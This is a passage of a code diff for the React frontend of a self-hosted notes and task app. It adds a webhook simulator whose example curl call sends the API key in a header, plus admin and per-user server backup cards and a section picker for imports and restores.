|
||||
{ label: '🧺 Waschmaschine fertig', text: 'Waschmaschine im Keller ist fertig – Wäsche aufhängen!', prio: 'high' as PriorityLevel },
|
||||
{ label: '🚨 Rauchmelder Batterie', text: 'Rauchmelder Dachgeschoss meldet niedrige Batterie (12%)', prio: 'urgent' as PriorityLevel },
|
||||
{ label: '💧 Luftfeuchtigkeit Keller', text: 'Kellerfeuchtigkeit über 70% – Lüften oder Entfeuchter starten', prio: 'urgent' as PriorityLevel },
|
||||
].map((preset) => (
|
||||
<button
|
||||
key={preset.label}
|
||||
type="button"
|
||||
onClick={() => {
|
||||
setSimTitle(preset.text);
|
||||
setSimPriority(preset.prio);
|
||||
}}
|
||||
className="btn-action text-xs"
|
||||
>
|
||||
{preset.label}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="flex flex-col sm:flex-row gap-2">
|
||||
<input
|
||||
type="text"
|
||||
value={simTitle}
|
||||
onChange={(e) => setSimTitle(e.target.value)}
|
||||
className="flex-1 h-11 sm:h-9 px-3 input-field text-base sm:text-sm"
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
onClick={handleSimulateWebhook}
|
||||
className="btn-primary h-11 sm:h-9 px-4 text-xs sm:text-sm flex items-center justify-center gap-1.5"
|
||||
>
|
||||
<Zap className="w-4 h-4" />
|
||||
<span>Webhook jetzt abfeuern</span>
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{simStatus && (
|
||||
<p className={`mt-3 text-xs font-medium ${simStatus.startsWith('❌') ? 'text-status-err' : 'text-status-ok'}`}>{simStatus}</p>
|
||||
)}
|
||||
|
||||
{/* Code Example Snippets */}
|
||||
<div className="mt-4 space-y-2">
|
||||
<div className="flex items-center gap-2 text-xs font-medium text-muted">
|
||||
<Terminal className="w-3.5 h-3.5 text-accent" />
|
||||
<span>cURL / Home Assistant REST Command:</span>
|
||||
</div>
|
||||
<pre className="p-3 bg-canvas border border-border font-mono text-xs text-main overflow-x-auto">
|
||||
{`curl -X POST "${baseUrl}/api/v1/webhooks/ingest" \\
|
||||
-H "X-API-Key: ${exampleToken}" \\
|
||||
-H "Content-Type: application/json" \\
|
||||
-d '${examplePayload}'`}
|
||||
</pre>
|
||||
<p className="text-[11px] text-faint">
|
||||
Der Key gehört in den Header <code className="font-mono">X-API-Key</code>, nicht in die URL, damit er nicht in
|
||||
Proxy-Logs landet. Fehlt dem Key die Berechtigung für das Ziel, antwortet der Server mit 403.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,131 @@
|
||||
import React, { useEffect, useState } from 'react';
|
||||
import { Archive, Download, Loader2 } from 'lucide-react';
|
||||
import { BackupFile, SystemSettings } from '../../lib/types';
|
||||
import { api } from '../../lib/api';
|
||||
import { ToggleSwitch } from '../../components/ToggleSwitch';
|
||||
import { formatBytes, saveBlob } from '../../lib/download';
|
||||
|
||||
interface BackupAdminCardProps {
|
||||
settings: SystemSettings;
|
||||
onSave: (patch: Partial<SystemSettings>) => void;
|
||||
}
|
||||
|
||||
// Admin: automatic daily backups (whole database + one backup per user), list and manual run
|
||||
export const BackupAdminCard: React.FC<BackupAdminCardProps> = ({ settings, onSave }) => {
|
||||
const [files, setFiles] = useState<BackupFile[]>([]);
|
||||
const [running, setRunning] = useState(false);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
|
||||
useEffect(() => {
|
||||
api.adminListBackups().then(setFiles).catch(() => {});
|
||||
}, []);
|
||||
|
||||
const runNow = async () => {
|
||||
setRunning(true);
|
||||
setError(null);
|
||||
try {
|
||||
setFiles(await api.adminRunBackup());
|
||||
} catch (err: any) {
|
||||
setError(err.message || 'Backup fehlgeschlagen');
|
||||
api.adminListBackups().then(setFiles).catch(() => {});
|
||||
} finally {
|
||||
setRunning(false);
|
||||
}
|
||||
};
|
||||
|
||||
const download = async (name: string) => {
|
||||
try {
|
||||
saveBlob(await api.adminDownloadBackup(name), name);
|
||||
} catch (err: any) {
|
||||
setError(err.message || 'Download fehlgeschlagen');
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="p-4 bg-canvas border border-border rounded-card space-y-3">
|
||||
<div className="flex items-center justify-between gap-4">
|
||||
<div className="pr-4">
|
||||
<p className="font-bold text-main flex items-center gap-1.5">
|
||||
<Archive className="w-3.5 h-3.5 text-accent" />
|
||||
Automatische Backups
|
||||
</p>
|
||||
<p className="text-[11px] text-muted mt-0.5">
|
||||
Täglich ein Abzug der ganzen Datenbank und ein Backup je Benutzer unter <code className="font-mono">backups/</code> im
|
||||
Datenverzeichnis. Das schützt vor Fehlbedienung, nicht vor einer kaputten Platte: den Ordner zusätzlich woanders sichern.
|
||||
</p>
|
||||
</div>
|
||||
<ToggleSwitch
|
||||
checked={Boolean(settings.backupEnabled)}
|
||||
onChange={(backupEnabled) => onSave({ backupEnabled })}
|
||||
title={settings.backupEnabled ? 'Automatische Backups ausschalten' : 'Automatische Backups einschalten'}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="flex flex-wrap items-end gap-3">
|
||||
<label className="text-[11px] text-muted">
|
||||
Uhrzeit
|
||||
<input
|
||||
type="time"
|
||||
value={settings.backupTime || '03:00'}
|
||||
onChange={(e) => e.target.value && onSave({ backupTime: e.target.value })}
|
||||
className="block mt-1 h-11 sm:h-8 px-2 input-field text-base sm:text-xs w-28"
|
||||
/>
|
||||
</label>
|
||||
<label className="text-[11px] text-muted">
|
||||
Aufbewahren (Tage)
|
||||
<input
|
||||
type="number"
|
||||
min={1}
|
||||
max={365}
|
||||
value={settings.backupRetentionDays || 3}
|
||||
onChange={(e) => {
|
||||
const n = parseInt(e.target.value, 10);
|
||||
if (n >= 1 && n <= 365) onSave({ backupRetentionDays: n });
|
||||
}}
|
||||
className="block mt-1 h-11 sm:h-8 px-2 input-field text-base sm:text-xs w-24"
|
||||
/>
|
||||
</label>
|
||||
<button
|
||||
type="button"
|
||||
onClick={runNow}
|
||||
disabled={running}
|
||||
className="btn-action h-11 sm:h-8 px-3 text-xs inline-flex items-center gap-1.5 disabled:opacity-50"
|
||||
>
|
||||
{running ? <Loader2 className="w-3.5 h-3.5 animate-spin" /> : <Archive className="w-3.5 h-3.5 text-accent" />}
|
||||
{running ? 'Sichere…' : 'Jetzt sichern'}
|
||||
</button>
|
||||
</div>
|
||||
{error && <p className="text-[11px] text-status-err">{error}</p>}
|
||||
|
||||
<div className="border border-border divide-y divide-border bg-panel">
|
||||
{files.length === 0 ? (
|
||||
<p className="p-3 text-[11px] text-faint">Noch keine Server-Backups vorhanden.</p>
|
||||
) : (
|
||||
files.map((f) => (
|
||||
<div key={f.name} className="px-3 py-2 flex items-center justify-between gap-3">
|
||||
<div className="min-w-0">
|
||||
<p className="text-xs font-mono text-main truncate">{f.name}</p>
|
||||
<p className="text-[11px] text-faint">
|
||||
{new Date(f.createdAt).toLocaleString('de-DE')} · {formatBytes(f.size)}
|
||||
</p>
|
||||
</div>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => download(f.name)}
|
||||
className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1 shrink-0"
|
||||
>
|
||||
<Download className="w-3.5 h-3.5" />
|
||||
Download
|
||||
</button>
|
||||
</div>
|
||||
))
|
||||
)}
|
||||
</div>
|
||||
<p className="text-[11px] text-faint">
|
||||
Zurückspielen eines Datenbank-Abzugs: Container stoppen, <code className="font-mono">mindsift.db</code> durch die entpackte Datei
|
||||
ersetzen (<code className="font-mono">gunzip</code>), Container starten. Einzelne Benutzer stellen ihre Daten selbst in den
|
||||
Kontoeinstellungen wieder her.
|
||||
</p>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -1,283 +0,0 @@
|
||||
import React, { useEffect, useState } from 'react';
|
||||
import {
|
||||
Key,
|
||||
Plus,
|
||||
Trash2,
|
||||
Copy,
|
||||
Check,
|
||||
Webhook,
|
||||
Download,
|
||||
ShieldCheck,
|
||||
Zap,
|
||||
Terminal,
|
||||
} from 'lucide-react';
|
||||
import { APIKey, PriorityLevel } from '../../lib/types';
|
||||
import { api, getToken, triggerHaptic } from '../../lib/api';
|
||||
|
||||
interface EcosystemViewProps {
|
||||
onIngested: () => void;
|
||||
}
|
||||
|
||||
export const EcosystemView: React.FC<EcosystemViewProps> = ({ onIngested }) => {
|
||||
const [keys, setKeys] = useState<APIKey[]>([]);
|
||||
const [newKeyName, setNewKeyName] = useState('');
|
||||
const [newlyCreatedKey, setNewlyCreatedKey] = useState<string | null>(null);
|
||||
const [copiedKey, setCopiedKey] = useState(false);
|
||||
|
||||
// Live Webhook Simulator State
|
||||
const [simTitle, setSimTitle] = useState('Waschmaschine im Keller ist fertig!');
|
||||
const [simPriority, setSimPriority] = useState<PriorityLevel>('high');
|
||||
const [simStatus, setSimStatus] = useState<string | null>(null);
|
||||
|
||||
const loadKeys = async () => {
|
||||
const k = await api.getAPIKeys();
|
||||
setKeys(k);
|
||||
};
|
||||
|
||||
useEffect(() => {
|
||||
loadKeys();
|
||||
}, []);
|
||||
|
||||
const handleCreateKey = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
triggerHaptic(15);
|
||||
const created = await api.createAPIKey(newKeyName.trim() || 'Home Assistant');
|
||||
if (created.rawKey) {
|
||||
setNewlyCreatedKey(created.rawKey);
|
||||
}
|
||||
setNewKeyName('');
|
||||
await loadKeys();
|
||||
};
|
||||
|
||||
const handleDeleteKey = async (id: string) => {
|
||||
triggerHaptic(20);
|
||||
await api.deleteAPIKey(id);
|
||||
await loadKeys();
|
||||
};
|
||||
|
||||
const handleCopy = (text: string) => {
|
||||
navigator.clipboard.writeText(text);
|
||||
setCopiedKey(true);
|
||||
setTimeout(() => setCopiedKey(false), 2000);
|
||||
};
|
||||
|
||||
const handleSimulateWebhook = async () => {
|
||||
triggerHaptic(20);
|
||||
const tokenToUse = newlyCreatedKey || getToken() || '';
|
||||
try {
|
||||
await api.testWebhookIngest(tokenToUse, simTitle, simPriority, ['smarthome', 'automation']);
|
||||
setSimStatus('✅ Webhook erfolgreich ausgelöst! Neue Karte liegt in deiner Inbox.');
|
||||
onIngested();
|
||||
setTimeout(() => setSimStatus(null), 4000);
|
||||
} catch (err: any) {
|
||||
setSimStatus(`❌ Fehler: ${err.message}`);
|
||||
}
|
||||
};
|
||||
|
||||
const handleFullExport = async () => {
|
||||
triggerHaptic(15);
|
||||
const data = await api.exportAll();
|
||||
const blob = new Blob([JSON.stringify(data, null, 2)], {
|
||||
type: 'application/json;charset=utf-8',
|
||||
});
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = `mindsift-backup-${new Date().toISOString().slice(0, 10)}.json`;
|
||||
a.click();
|
||||
URL.revokeObjectURL(url);
|
||||
};
|
||||
|
||||
const exampleToken = newlyCreatedKey || 'mindsift_sec_dein_api_key';
|
||||
const baseUrl = window.location.origin;
|
||||
|
||||
return (
|
||||
<div className="w-full panel-surface divide-y divide-border">
|
||||
{/* Section 1: API Keys for Smarthome & Automation */}
|
||||
<div className="p-4">
|
||||
<div className="flex items-center gap-3 mb-2">
|
||||
<div className="w-8 h-8 bg-accent text-white flex items-center justify-center flex-shrink-0">
|
||||
<Key className="w-4 h-4" />
|
||||
</div>
|
||||
<div>
|
||||
<h3 className="text-base font-bold text-white">
|
||||
Webhooks & Ingestion API-Schlüssel
|
||||
</h3>
|
||||
<p className="text-xs sm:text-sm text-zinc-400">
|
||||
Verbinde Home Assistant, Zigbee2MQTT, n8n oder eigene Cronjobs direkt mit deiner MindSift Inbox.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<form onSubmit={handleCreateKey} className="mt-3 flex flex-col sm:flex-row gap-2">
|
||||
<input
|
||||
type="text"
|
||||
value={newKeyName}
|
||||
onChange={(e) => setNewKeyName(e.target.value)}
|
||||
placeholder="Bezeichnung (z. B. Home Assistant, Proxmox Backup, Rauchmelder)…"
|
||||
className="w-full sm:flex-1 min-w-0 h-11 sm:h-9 px-3 input-field text-base sm:text-sm"
|
||||
/>
|
||||
<button
|
||||
type="submit"
|
||||
className="btn-primary h-11 sm:h-9 px-4 text-sm flex items-center justify-center gap-1.5"
|
||||
>
|
||||
<Plus className="w-4 h-4" />
|
||||
<span>API-Key erzeugen</span>
|
||||
</button>
|
||||
</form>
|
||||
|
||||
{newlyCreatedKey && (
|
||||
<div className="mt-3 p-3 bg-accent/15 border border-accent/30 flex flex-wrap items-center justify-between gap-3">
|
||||
<div className="min-w-0">
|
||||
<p className="text-xs font-semibold text-accent mb-1">
|
||||
Neuer API-Schlüssel erstellt (bitte jetzt kopieren):
|
||||
</p>
|
||||
<code className="text-xs sm:text-sm font-mono text-white break-all">
|
||||
{newlyCreatedKey}
|
||||
</code>
|
||||
</div>
|
||||
<button
|
||||
onClick={() => handleCopy(newlyCreatedKey)}
|
||||
className="btn-primary h-8 px-3 text-xs"
|
||||
>
|
||||
{copiedKey ? <Check className="w-3.5 h-3.5" /> : <Copy className="w-3.5 h-3.5" />}
|
||||
<span>{copiedKey ? 'Kopiert!' : 'Key kopieren'}</span>
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Active Keys List */}
|
||||
<div className="mt-3 border border-border divide-y divide-border">
|
||||
{keys.length === 0 ? (
|
||||
<p className="text-xs text-zinc-500 px-3 py-2">
|
||||
Noch keine dedizierten API-Schlüssel hinterlegt.
|
||||
</p>
|
||||
) : (
|
||||
keys.map((k) => (
|
||||
<div
|
||||
key={k.id}
|
||||
className="px-3 py-1.5 bg-canvas flex items-center justify-between gap-3"
|
||||
>
|
||||
<div>
|
||||
<span className="text-sm font-medium text-white">{k.name}</span>
|
||||
<span className="ml-3 text-xs font-mono text-accent">{k.keyPrefix}</span>
|
||||
{k.lastUsedAt && (
|
||||
<span className="ml-3 text-xs text-zinc-500">
|
||||
Zuletzt genutzt: {new Date(k.lastUsedAt).toLocaleDateString('de-DE')}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
<button
|
||||
onClick={() => handleDeleteKey(k.id)}
|
||||
className="btn-icon btn-icon-danger w-7 h-7"
|
||||
>
|
||||
<Trash2 className="w-3.5 h-3.5" />
|
||||
</button>
|
||||
</div>
|
||||
))
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Section 2: Interactive Smarthome Webhook Simulator */}
|
||||
<div className="p-4">
|
||||
<div className="flex items-center gap-3 mb-3">
|
||||
<div className="w-7 h-7 bg-accent text-white flex items-center justify-center flex-shrink-0">
|
||||
<Webhook className="w-4 h-4" />
|
||||
</div>
|
||||
<div>
|
||||
<h3 className="text-base font-bold text-white">
|
||||
Live Smarthome Webhook-Simulator
|
||||
</h3>
|
||||
<p className="text-xs sm:text-sm text-zinc-400">
|
||||
Teste den Webhook-Endpunkt direkt hier – das Event landet sofort als Karte im Triage-Deck.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="flex flex-wrap gap-1.5 mb-3">
|
||||
{[
|
||||
{ label: '🧺 Waschmaschine fertig', text: 'Waschmaschine im Keller ist fertig – Wäsche aufhängen!', prio: 'high' as PriorityLevel },
|
||||
{ label: '🚨 Rauchmelder Batterie', text: 'Rauchmelder Dachgeschoss meldet niedrige Batterie (12%)', prio: 'urgent' as PriorityLevel },
|
||||
{ label: '💧 Luftfeuchtigkeit Keller', text: 'Kellerfeuchtigkeit über 70% – Lüften oder Entfeuchter starten', prio: 'urgent' as PriorityLevel },
|
||||
].map((preset) => (
|
||||
<button
|
||||
key={preset.label}
|
||||
type="button"
|
||||
onClick={() => {
|
||||
setSimTitle(preset.text);
|
||||
setSimPriority(preset.prio);
|
||||
}}
|
||||
className="btn-action text-xs"
|
||||
>
|
||||
{preset.label}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
|
||||
<div className="flex flex-col sm:flex-row gap-2">
|
||||
<input
|
||||
type="text"
|
||||
value={simTitle}
|
||||
onChange={(e) => setSimTitle(e.target.value)}
|
||||
className="flex-1 h-9 px-3 input-field text-sm"
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
onClick={handleSimulateWebhook}
|
||||
className="btn-primary h-9 px-4 text-xs sm:text-sm flex items-center gap-1.5"
|
||||
>
|
||||
<Zap className="w-4 h-4" />
|
||||
<span>Webhook jetzt abfeuern</span>
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{simStatus && (
|
||||
<p className="mt-3 text-xs font-medium text-accent">{simStatus}</p>
|
||||
)}
|
||||
|
||||
{/* Code Example Snippets */}
|
||||
<div className="mt-4 space-y-2">
|
||||
<div className="flex items-center gap-2 text-xs font-medium text-zinc-400">
|
||||
<Terminal className="w-3.5 h-3.5 text-accent" />
|
||||
<span>cURL / Home Assistant REST Command:</span>
|
||||
</div>
|
||||
<pre className="p-3 bg-canvas border border-border font-mono text-xs text-zinc-300 overflow-x-auto">
|
||||
{`curl -X POST "${baseUrl}/api/v1/webhooks/ingest?token=${exampleToken}" \\
|
||||
-H "Content-Type: application/json" \\
|
||||
-d '{
|
||||
"title": "Kellerfeuchtigkeit über 70%",
|
||||
"priority": "urgent",
|
||||
"tags": ["smarthome", "keller"]
|
||||
}'`}
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Section 3: Data Sovereignty & Export */}
|
||||
<div className="p-4 flex flex-col sm:flex-row items-start sm:items-center justify-between gap-4">
|
||||
<div className="flex items-center gap-3">
|
||||
<div className="w-7 h-7 bg-accent text-white flex items-center justify-center flex-shrink-0">
|
||||
<ShieldCheck className="w-4 h-4" />
|
||||
</div>
|
||||
<div>
|
||||
<h3 className="text-base font-bold text-white">
|
||||
100 % Datensouveränität & Komplett-Export
|
||||
</h3>
|
||||
<p className="text-xs sm:text-sm text-zinc-400">
|
||||
Exportiere jederzeit alle Gedanken, Aufgaben, Dokumente und geteilten Listen als portables JSON-Archiv.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<button
|
||||
onClick={handleFullExport}
|
||||
className="btn-primary h-9 px-4 text-xs sm:text-sm flex items-center gap-2"
|
||||
>
|
||||
<Download className="w-4 h-4" />
|
||||
<span>Komplett-Backup (.json)</span>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -1,6 +1,7 @@
|
||||
import React, { useRef, useState } from 'react';
|
||||
import { Upload, Check, AlertCircle, FileArchive } from 'lucide-react';
|
||||
import { ImportSummary } from '../../lib/types';
|
||||
import { DATA_SECTIONS, DataSection, ImportSummary } from '../../lib/types';
|
||||
import { SectionPicker } from './SectionPicker';
|
||||
import { api } from '../../lib/api';
|
||||
|
||||
interface ImportCardProps {
|
||||
@@ -18,6 +19,7 @@ const summaryParts = (s: ImportSummary) =>
|
||||
s.tasks && `${s.tasks} Aufgabe${s.tasks === 1 ? '' : 'n'}`,
|
||||
s.lists && `${s.lists} Liste${s.lists === 1 ? '' : 'n'} mit ${s.listItems} Einträgen`,
|
||||
s.inbox && `${s.inbox} Gedanke${s.inbox === 1 ? '' : 'n'} für die Triage`,
|
||||
s.themes && `${s.themes} Theme${s.themes === 1 ? '' : 's'}`,
|
||||
].filter(Boolean) as string[];
|
||||
|
||||
// One import path: drop or pick a file, see a preview of what would be created, then import.
|
||||
@@ -33,6 +35,9 @@ export const ImportCard: React.FC<ImportCardProps> = ({ source, title, descripti
|
||||
// MindSift data can replace the current state instead of being added next to it
|
||||
const [mode, setMode] = useState<'merge' | 'restore'>('merge');
|
||||
const [confirmRestore, setConfirmRestore] = useState(false);
|
||||
// MindSift data: which parts to take from the file
|
||||
const [sections, setSections] = useState<DataSection[]>(DATA_SECTIONS.map((s) => s.id));
|
||||
const sectionParam = source === 'mindsift' ? sections : undefined;
|
||||
const restoring = source === 'mindsift' && mode === 'restore';
|
||||
|
||||
const reset = () => {
|
||||
@@ -49,7 +54,7 @@ export const ImportCard: React.FC<ImportCardProps> = ({ source, title, descripti
|
||||
setFile(f);
|
||||
setBusy(true);
|
||||
try {
|
||||
setPreview(await api.importData(source, f, true));
|
||||
setPreview(await api.importData(source, f, true, 'merge', sectionParam));
|
||||
} catch (err: any) {
|
||||
setError(err.message || 'Datei konnte nicht gelesen werden');
|
||||
} finally {
|
||||
@@ -62,7 +67,7 @@ export const ImportCard: React.FC<ImportCardProps> = ({ source, title, descripti
|
||||
setBusy(true);
|
||||
setError(null);
|
||||
try {
|
||||
setResult(await api.importData(source, file, false, restoring ? 'restore' : 'merge'));
|
||||
setResult(await api.importData(source, file, false, restoring ? 'restore' : 'merge', sectionParam));
|
||||
setFile(null);
|
||||
setPreview(null);
|
||||
setConfirmRestore(false);
|
||||
@@ -87,7 +92,7 @@ export const ImportCard: React.FC<ImportCardProps> = ({ source, title, descripti
|
||||
{(
|
||||
[
|
||||
['merge', 'Hinzufügen', 'Bestehende Daten behalten, Backup daneben anlegen.'],
|
||||
['restore', 'Wiederherstellen', 'Eigene Notizen, Aufgaben und Listen vorher löschen.'],
|
||||
['restore', 'Wiederherstellen', 'Gewählte Bereiche vorher leeren.'],
|
||||
] as const
|
||||
).map(([value, label, text]) => (
|
||||
<button
|
||||
@@ -114,6 +119,24 @@ export const ImportCard: React.FC<ImportCardProps> = ({ source, title, descripti
|
||||
</div>
|
||||
)}
|
||||
|
||||
{source === 'mindsift' && (
|
||||
<SectionPicker
|
||||
value={sections}
|
||||
onChange={(next) => {
|
||||
setSections(next);
|
||||
// The preview depends on the sections, so a picked file is read again
|
||||
if (file) {
|
||||
setBusy(true);
|
||||
api
|
||||
.importData(source, file, true, 'merge', next)
|
||||
.then(setPreview)
|
||||
.catch((err) => setError(err.message))
|
||||
.finally(() => setBusy(false));
|
||||
}
|
||||
}}
|
||||
/>
|
||||
)}
|
||||
|
||||
<div
|
||||
onDragOver={(e) => {
|
||||
e.preventDefault();
|
||||
@@ -194,8 +217,9 @@ export const ImportCard: React.FC<ImportCardProps> = ({ source, title, descripti
|
||||
className="mt-0.5 w-4 h-4 shrink-0"
|
||||
/>
|
||||
<span>
|
||||
<strong className="text-status-err">Achtung:</strong> Alle deine bisherigen Notizen, Ordner, Aufgaben, Gedanken und
|
||||
Listen werden vor dem Import unwiderruflich gelöscht und durch das Backup ersetzt. Mit dir geteilte Inhalte anderer
|
||||
<strong className="text-status-err">Achtung:</strong> Deine bisherigen Daten in den gewählten Bereichen
|
||||
({DATA_SECTIONS.filter((x) => sections.includes(x.id)).map((x) => x.label).join(', ')}) werden vor dem Import
|
||||
unwiderruflich gelöscht und durch das Backup ersetzt. Mit dir geteilte Inhalte anderer
|
||||
bleiben erhalten.
|
||||
</span>
|
||||
</label>
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
import React from 'react';
|
||||
import { Check } from 'lucide-react';
|
||||
import { DATA_SECTIONS, DataSection } from '../../lib/types';
|
||||
|
||||
interface SectionPickerProps {
|
||||
value: DataSection[];
|
||||
onChange: (sections: DataSection[]) => void;
|
||||
label?: string;
|
||||
}
|
||||
|
||||
// Which parts of the own data a restore or import covers; at least one stays selected
|
||||
export const SectionPicker: React.FC<SectionPickerProps> = ({ value, onChange, label = 'Bereiche' }) => (
|
||||
<div className="flex flex-wrap items-center gap-1.5" role="group" aria-label={label}>
|
||||
<span className="text-[11px] text-muted mr-1">{label}:</span>
|
||||
{DATA_SECTIONS.map((sec) => {
|
||||
const on = value.includes(sec.id);
|
||||
return (
|
||||
<button
|
||||
key={sec.id}
|
||||
type="button"
|
||||
role="checkbox"
|
||||
aria-checked={on}
|
||||
onClick={() => {
|
||||
const next = on ? value.filter((v) => v !== sec.id) : [...value, sec.id];
|
||||
if (next.length > 0) onChange(next);
|
||||
}}
|
||||
className={`h-11 sm:h-7 px-2.5 rounded-btn border text-[11px] inline-flex items-center gap-1 transition-colors ${
|
||||
on ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
|
||||
}`}
|
||||
>
|
||||
{on && <Check className="w-3 h-3 text-accent" />}
|
||||
{sec.label}
|
||||
</button>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
);
|
||||
@@ -0,0 +1,151 @@
|
||||
import React, { useEffect, useState } from 'react';
|
||||
import { Archive, Check, Download, RotateCcw } from 'lucide-react';
|
||||
import { BackupFile, DataSection, DATA_SECTIONS, ImportSummary } from '../../lib/types';
|
||||
import { api } from '../../lib/api';
|
||||
import { formatBytes, saveBlob } from '../../lib/download';
|
||||
import { SectionPicker } from './SectionPicker';
|
||||
|
||||
// The user's own automatic backups on the server: download or restore (all or some sections)
|
||||
export const ServerBackupsCard: React.FC = () => {
|
||||
const [files, setFiles] = useState<BackupFile[]>([]);
|
||||
const [open, setOpen] = useState<string | null>(null); // backup being restored
|
||||
const [mode, setMode] = useState<'merge' | 'restore'>('restore');
|
||||
const [sections, setSections] = useState<DataSection[]>(DATA_SECTIONS.map((s) => s.id));
|
||||
const [confirm, setConfirm] = useState(false);
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const [result, setResult] = useState<ImportSummary | null>(null);
|
||||
|
||||
useEffect(() => {
|
||||
api.listMyBackups().then(setFiles).catch(() => {});
|
||||
}, []);
|
||||
|
||||
const startRestore = (name: string) => {
|
||||
setOpen(open === name ? null : name);
|
||||
setConfirm(false);
|
||||
setError(null);
|
||||
setResult(null);
|
||||
};
|
||||
|
||||
const restore = async () => {
|
||||
if (!open) return;
|
||||
setBusy(true);
|
||||
setError(null);
|
||||
try {
|
||||
setResult(await api.restoreMyBackup(open, mode, sections));
|
||||
setConfirm(false);
|
||||
} catch (err: any) {
|
||||
setError(err.message || 'Wiederherstellen fehlgeschlagen');
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
const sectionNames = DATA_SECTIONS.filter((s) => sections.includes(s.id))
|
||||
.map((s) => s.label)
|
||||
.join(', ');
|
||||
|
||||
return (
|
||||
<div className="space-y-2">
|
||||
<div>
|
||||
<h3 className="font-bold text-main flex items-center gap-1.5">
|
||||
<Archive className="w-3.5 h-3.5 text-accent" />
|
||||
Server-Backups
|
||||
</h3>
|
||||
<p className="text-muted text-[11px] mt-0.5">
|
||||
Automatische tägliche Sicherungen deiner Daten auf dem Server (falls die Administration sie eingeschaltet hat).
|
||||
</p>
|
||||
</div>
|
||||
<div className="border border-border divide-y divide-border bg-canvas">
|
||||
{files.length === 0 ? (
|
||||
<p className="p-3 text-[11px] text-faint">Noch keine Server-Backups vorhanden.</p>
|
||||
) : (
|
||||
files.map((f) => (
|
||||
<div key={f.name} className="p-3 space-y-2">
|
||||
<div className="flex flex-wrap items-center justify-between gap-2">
|
||||
<div className="min-w-0">
|
||||
<p className="text-xs font-semibold text-main">{new Date(f.createdAt).toLocaleString('de-DE')}</p>
|
||||
<p className="text-[11px] text-faint">{formatBytes(f.size)}</p>
|
||||
</div>
|
||||
<div className="flex gap-2">
|
||||
<button
|
||||
type="button"
|
||||
onClick={async () => saveBlob(await api.downloadMyBackup(f.name), f.name)}
|
||||
className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1"
|
||||
>
|
||||
<Download className="w-3.5 h-3.5" />
|
||||
Download
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => startRestore(f.name)}
|
||||
aria-expanded={open === f.name}
|
||||
className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1"
|
||||
>
|
||||
<RotateCcw className="w-3.5 h-3.5 text-accent" />
|
||||
Wiederherstellen
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{open === f.name && (
|
||||
<div className="p-3 rounded-card border border-border bg-panel space-y-2.5">
|
||||
<div className="grid grid-cols-1 sm:grid-cols-2 gap-2" role="radiogroup" aria-label="Art der Wiederherstellung">
|
||||
{(
|
||||
[
|
||||
['restore', 'Ersetzen', 'Gewählte Bereiche vorher leeren.'],
|
||||
['merge', 'Hinzufügen', 'Bestehendes behalten, Backup daneben anlegen.'],
|
||||
] as const
|
||||
).map(([value, label, text]) => (
|
||||
<button
|
||||
key={value}
|
||||
type="button"
|
||||
role="radio"
|
||||
aria-checked={mode === value}
|
||||
onClick={() => {
|
||||
setMode(value);
|
||||
setConfirm(false);
|
||||
}}
|
||||
className={`p-2 min-h-[44px] text-left border rounded-card transition-colors ${
|
||||
mode === value ? (value === 'restore' ? 'border-status-err bg-status-err/10' : 'border-accent bg-accent/10') : 'border-border'
|
||||
}`}
|
||||
>
|
||||
<span className="block text-xs font-semibold text-main">{label}</span>
|
||||
<span className="block text-[11px] text-muted">{text}</span>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
<SectionPicker value={sections} onChange={setSections} />
|
||||
{result ? (
|
||||
<p className="text-[11px] text-status-ok flex items-center gap-1">
|
||||
<Check className="w-3.5 h-3.5" /> Wiederhergestellt: {result.notes} Notizen, {result.tasks} Aufgaben, {result.lists} Listen,{' '}
|
||||
{result.inbox} Gedanken, {result.themes ?? 0} Themes.
|
||||
</p>
|
||||
) : (
|
||||
<button
|
||||
type="button"
|
||||
disabled={busy}
|
||||
onClick={() => (mode === 'restore' && !confirm ? setConfirm(true) : restore())}
|
||||
className={`h-11 sm:h-8 px-4 text-xs font-semibold disabled:opacity-50 ${
|
||||
mode === 'restore' ? 'btn-action border-status-err text-status-err' : 'btn-primary'
|
||||
}`}
|
||||
>
|
||||
{busy
|
||||
? 'Stelle wieder her…'
|
||||
: mode === 'restore' && confirm
|
||||
? `Wirklich ${sectionNames} ersetzen?`
|
||||
: mode === 'restore'
|
||||
